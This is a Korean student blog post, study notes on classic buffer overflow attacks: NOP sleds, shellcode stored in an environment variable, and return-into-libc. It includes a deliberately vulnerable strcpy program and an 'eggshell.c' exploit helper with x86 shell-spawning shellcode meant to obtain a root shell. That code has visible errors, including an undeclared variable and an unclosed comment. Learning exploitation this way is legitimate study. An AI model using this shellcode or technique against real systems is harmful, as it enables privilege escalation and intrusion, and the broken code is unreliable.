혜랑's STORY

[2021 겨울 시스템 2주차 : 달고나 문서 정리(5 마무리)] 본문

2021 SISS 21기 활동/겨울방학 System

[2021 겨울 시스템 2주차 : 달고나 문서 정리(5 마무리)]

hyerang0125 2021. 1. 17. 20:40

#5 Buffer overflow의 이해

buffer overflow 공격

실제 공격 방법을 시험해 보기 위해서는 대상 프로그램이 필요하다. 보다 쉬운 이해를 위해 buffer overflow 취약점을 가진 간단한 아래 프로그램을 사용할 것이다.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char **argv){
	char buffer[1024];
    if(argc>1)
    	strcpy(buffer, argv[1]);
    return 1;
}

buffer overflow 취약점이 있는 vul.c

소스코드가 말해 주듯이 실행 시 주어지는 첫 번째 인자를 buffer라는 char형 배열에 복사를 한다. 또한 bound check를 하지 않는 strcpy()함수를 이용하고 있다. 즉, 이 프로그램은 1024바이트의 버퍼공간에 쉘 코드와 NOP로 채우고 4바이트는 main함수의 base pointer이므로 역시 NOP로 채우고 다음 만나는 4바이트가 return address이므로 이곳에 쉘 코드가 있는 곳의 address를 넣어주면 쉘 코드를 실행시킬 수 있다.

고전적인 방법

가장 고전적인 방법은 쉘 코드가 있는 곳의 address를 추측하는 것이다. 몇 번의 시행착오를 거치면서 쉘이 떨어질 때까지 계속 공격을 시도해야만 한다. 쉘 코드가 실행되는 확률을 좀 더 높이기 위해서 또한 buffer를 채우기 위해서 NOP를 사용하는데 보통 NOP는 0x90 값을 많이 쓴다.

NOP

NOP는 No Peration의 약자이다. 즉, 아무런 실행을 하지 않는다. NOP의 역할은 기계어 코드가 다른 코드와 섞이지 않게 한다. 더 자세히 설명하자면 instruction을 끊기 위한 목적으로 NOP가 사용되고, CPU는 NOP를 만나면 아무런 수행을 하지 않고 유효한 instruction을 만날 때까지 다음 instruction을 찾기 위해 한 바이트씩 이동하게 되는 것이다.

buffer overflow 공격에서 NOP는 바로 이러한 특성을 이용하여 쉘 코드가 있는 곳까지 아무런 수행을 하지 않고 흘러 들어가게 만드는 목적으로 사용된다. 즉, CPU는 NOP를 만나게 되면 유효한 명령이 있는 쉘 코드의 시작점이 나올 때까지 한 바이트씩 EIP를 이동시키게 되는 것이다. 

그래서 고전적인 방법에서는 쉘 코드 앞을 NOP로 채우고 return address를 NOP로 채워져 있는 영역 어딘가의 주소로 바꾸면 operation의 흐르ㅡㅁ은 NOP를 타고 쉘 코드가 있는 곳까지 흘러 들어갈 수 있게 되는 것이다. 

그러나 이 방법은 매우 비효율적인 방법이기 때문에 요즘은 훨씬 효과적이고 쉰운 방법들을 사용하곤 한다.

환경변수를 이용하는 방법

*nic 계열의 쉘에서 환경변수는 포인터로 참조된다. 그래서 환경변수가 메모리 어딘가에 항상 저장되어 있는 거이다. 환경변수는 응용프로그램에서 참조하여 사용할 수 있기 때문에 putenv(), getenv()같은 API 함수들도 많이 사용된다. 바로 이러한 특성을 이용하여 공격자는 환경 변수를 하나 만들고 이 환경 변수에다 쉘 코드를 넣은 다음에 취야한 프로그램에 환경변수의 address를 return address에 넣어줌으로써 쉘 코드르르 실행하게 할 수 있다. 이 방법은 overflow 되는 버퍼의 크기가 쉘 코드가 들어갈 만큼 넉넉하지 못할 경우에 매우 유용하게 사용된다.

따라서 환경 변수에 쉘 코드를 넣는 방법과 환경 변수가 위치한 address를 알아야 한다. 이러한 역할을 하는 프로그램은 다음과 같다. (eggshell.c)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define _OFFSET 0
#define _BUFFER_SIZE 512
#define _EGG_SIZE 2048
#define NOP 0x90

char shellcode[] = "\x31\xc0"
"\x31\xdb"
"\xb0\x46"
"\xcd\x80"
"\x31\xc0"
"\x50"
"\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x89\xc2"
"\xb0\x0b"
"\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";

unsigned long get_esp(){
	
    __asm__ __volatile__("movl %esp, %eax"); /*esp의 address를 return */
}

int main(int argc, char **argv){
	char *ptr, *egg;
    long *addr_ptr, addr;
    int i;
    int offset = _OFFSET, bsize = _BUFFER_SIZE, eggsize = _EGG_SIZE;
    
    if(argc>1) bsize = atoi(argv[1]);
    if(argc>2) offset = atoi(argv[2]);
    if(argc>3) eggsize = atoi(argv[3]);
    
    if(!(egg = malloc(eggsize))){ /*NOP와 쉘 코드를 넣을 버퍼 생성 */
    	printf("Cannot allocate egg.\n");
        exit(0);
    }
    addr = get_esp() - offset; /* stack pointer를 얻어 옴 */
    printf("esp : %p\n", addr);
    
    ptr = egg;
    for(i=0; i<eggsize - strlen(shellcode) -1; i++)
    	*(ptr++) = NOP; /*egg를 NOP로 먼저 채우고 */
        
    for(i=0; i<strlen(shellcode); i++)
    *(ptr++) = shellcode[i]; /*남은 공간을 쉘코드로 채움*/
    
    buff[bsize-1] = '\0';
    egg[eggsize-1] = '\0';
    memcpy(egg, "EGG=", 4);
    putenv(egg);		/* EGG라는 환경 변수로 등록
    system("/bin/sh");	/* 환경 변수가 적용된 쉘 실행 */
}

get_esp() 함수는 어셈블리 코드를 이용하여 ESP 레지스터가 가리키는 곳의 주소를 EAX레지스터에 넣는 역할을 하는데 이것 만으로 EAX레지스터의 값이 리턴된다. 이 방법의 키 포인트는 대부분의 프로그램들의 스텍 시작점은 같다는 것이다. 같은 쉘 환경에서 프로그램이 실행되면 main함수에서 만나는 스텍 포인터는 같을 수 밖에 없다. 따라서 공격자는 스텍 포인터의 주소값을 알아내어 거기서부터 return address를 유추하는 것이다. 이러한 방법을 실행하면 main함수가 실행을 마치고 return될 때 EIP는 EGG가 있는 지점을 가리키게 될 것이고 쉘 코드가 수행되어 root권한의 쉘이 뜨게된다.

Return into libc 기법

이 기법은 스텍 영역의 코드를 실행하지 못하게 하는 non-executable stack 보호 기법이나 일부 IDS(instrusion detection system)에서 네트워크를 통해 쉘 코드가 유입되는 것을 차단하는 보호 기법을 뚫기 위한 방법으로 제안되었다.

non-executable stack 기법은 이름에서 알 수 있듯이 스텍 영역에 있는 코드를 실행하지 못하게 하는 것이다. 앞에서 살펴본 stack overflow 기법들은 stack segmeent에 쉘 코드를 넣고 EIP 레지스터에 쉘 코드가 있는 지점의 주소를 넣음으로써 쉘 코드가 실행되도록 하는 기법들이었다. 따라서 non-executable stack 기법은 EIP 레지스터에 stack segment 영역의 주소가 들어가게 되면 에러 메시지를 출력하고 실행을 종료시켜버리거나 에러 메시지 없이 실행을 멈춰버리게 된다.

일부 IDS는 네트워크 인터페이스에서 수신되는 데이터에 쉘 코드가 포함되어 있거나 혹은 비정상적으로 많은 양의 (0x90같은)NOP가 포함되어 있다면 침입으로 간주하여 네트워크 연결을 종료시켜 버리거나 네트워크 상에 돌아다니는 데이터를 모니터링하여 침입을 탐지해 내기도 한다.

이러한 공격 방어 기법들이 나오면서 스텍에 쉘 코드를 넣어 실행시키는 고전적인 방법은 더 이상 먹히지 않게 되었다. 그래서 나온 것이 바로 Return-into-libc 기법이다.

Return into libc 기법은 역시 overflow 공격에 기반한다. 버퍼를 overflow시켜 return address를 조작하여 실행의 흐름을 libc 영역으로 돌려 원하는 libc 함수를 수행하게 하는 것이다.

 

위에서 언급한 기법을 사용하기 위하여 system()함수의 주소와 argument 구성을 알아내기 위해 다음 코드를 작성하여 컴파일 한 후 dissassemble해 보자.

실행 코드
dissassemble 결과

위 사진에서 보는 바와 같이 system()함수의 시작점은 0x7ffff7a53380 이다. main()함수를 disassemble 했을 때 system 호출 지점은 0x400400이지만 실행 시점에 공유 라이브러리를 로딩한 후의 system()함수의 시작점을 찾아야 한다. 따라서 실행 후 system()함수의 address를 찾았다.

vul.c를 overflow 시킬 데이터 구조는 위 그림과 같다.

belst's execl 방법

이 공격 방법의 기본 개념은 다음과 같다. 우선 buffer overflow 취약점을 가진 프로그램(vul.c)를 Return-into-libc 기법으로 overflow 시켜 공격한다. main()함수 return시에 return 할 libc 함수는 execl이다. execl은 man페이지에서 볼 수 있듯이 세 개의 argument를 가진다.

첫 번째 인자는 실행할 프로그램의 full path와 실행파일 이름으로 구성된 문자열의 address, 실행 파일 실행시에 주어질 argument들 그리고 NULL을 넣어주면 된다. 여기서 쉘을 띄우는 프로그램은 shell.c이다.

vul.c의 버퍼 구조는 다음과 같다고 추측할 수 있다.

이 구조의 버퍼에 다음과 같은 형식의 공격 코드를 집어 넣는다.

그 뒤 execl() 함수가 있는 곳의 addreess를 찾고 argv[2]의 주소를 찾으면 된다. argv[2]는 본 쉘을 띄우는 프로그램의 실행명령이다.

Return into libc 기법을 이용한 buffer overflow 기법을 알아보았다. 이 기법은 non-executable stack 보호 기법을 회피하여 특정 명령을 수행할 수 있다. 즉, 스텍 영역에 쉘 코드를 집어넣지 않고 실행할 수 있고, buffer 크기에 제약을 받지 않기 때문에 쉘 코드를 넣을 충분한 buffer를 가지지 않은 취약 프로그램도 공격을 할 수 있다는 장점이 있다.